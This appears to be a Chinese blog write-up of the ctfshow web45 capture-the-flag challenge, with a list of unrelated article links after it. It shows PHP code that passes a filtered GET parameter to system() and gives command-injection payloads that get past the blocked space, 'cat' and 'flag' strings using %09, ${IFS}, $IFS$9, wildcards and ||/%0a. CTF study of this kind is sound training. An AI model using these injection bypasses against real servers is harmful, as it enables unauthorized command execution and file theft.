当前位置: 首页 > news >正文

ctfshow web入门 web45

信息收集

和之前一样,使用?*绕过flag,使用||%0a绕过黑洞

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| /i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

解题

使用tab代替空格

查ASCII码表,tab = 0x09,用%09代替空格

?c=tac%09fla*||

使用环境变量代替空格

先看看这篇文章:LINUX Shell命令中$0、 1 − 9 、 1-9、 19#、 ? 、 ?、 ?*、 @ 、 @、 @!、 、 、 -、$IFS含义及举例

这里有两种写法,如果可以使用$,那么我们可以找一些环境变量来拼凑要执行的命令
$IFS默认值是空格,制表符,换行符。这里应该没有解析为换行符
其中不管是${IFS}还是$IFS$9都是为了替代空格,${value}可以将其解析为变量,而在不用{}的情况下,我们需要一个无用的参数$9来将$IFS与后续的内容进行分离。

?c=tac${IFS}fla*%0a
?c=tac$IFS$9fla*%0a

就像这样

┌──(si㉿kali)-[~]
└─$ echo 1$IFSflag  
1┌──(si㉿kali)-[~]
└─$ echo 1$IFS$9flag
1 
flag┌──(sillenge㉿kali)-[~]
└─$ echo 1${IFS}flag 
1 	
flag

web44    目录    web46

http://www.xdnf.cn/news/244027.html

相关文章:

  • 哈希表笔记(二)redis
  • 机器人--架构及设备
  • Unity SpriteAtlas (精灵图集)
  • 使用vue的插值表达式渲染变量,格式均正确,但无法渲染
  • LabVIEW在工业设备故障诊断报告领域的深度开发与发展趋势
  • Python-57:Base32编码和解码问题
  • Git 基本操作(一)
  • DeepSeek 赋能自然语言处理:从理论到实践的全方位解析
  • GESP2024年6月认证C++八级( 第二部分判断题(1-5))
  • 【2025最新】为什么用ElasticSearch?和传统数据库MySQL与什么区别?
  • 驱动开发系列55 - Linux Graphics QXL显卡驱动代码分析(二)显存管理
  • C++11新特性_自动类型推导
  • (34)VTK C++开发示例 ---将图片映射到平面
  • PostgreSQL数据库操作SQL
  • 2025年- H17-Lc125-73.矩阵置零(矩阵)---java版
  • 坚鹏:工行《DEEPSEEK赋能银行智能办公及数字化营销服务》培训
  • [蓝桥杯 2023 国 Python B] 划分 Java
  • 如何快速定位网络中哪台主机发起ARP攻击
  • 范式演进:从ETL到ELT及未来展望
  • 如何提升个人的稳定性?
  • 学习 Django 之前
  • 数据结构——树(中篇)
  • 论文笔记——QWen2.5 VL
  • 基于大模型预测的输尿管癌诊疗全流程研究报告
  • PDF24 Tools:涵盖20+种PDF工具,简单高效PDF工具箱,支持一键编辑/转换/合并
  • Selenium:模拟真实用户的爬虫
  • 【Python Web开发】04-Cookie和Session
  • 彩带飘落效果
  • 大学之大:香港理工大学2025.5.1
  • 返回类型后置 和 auto推导返回值类型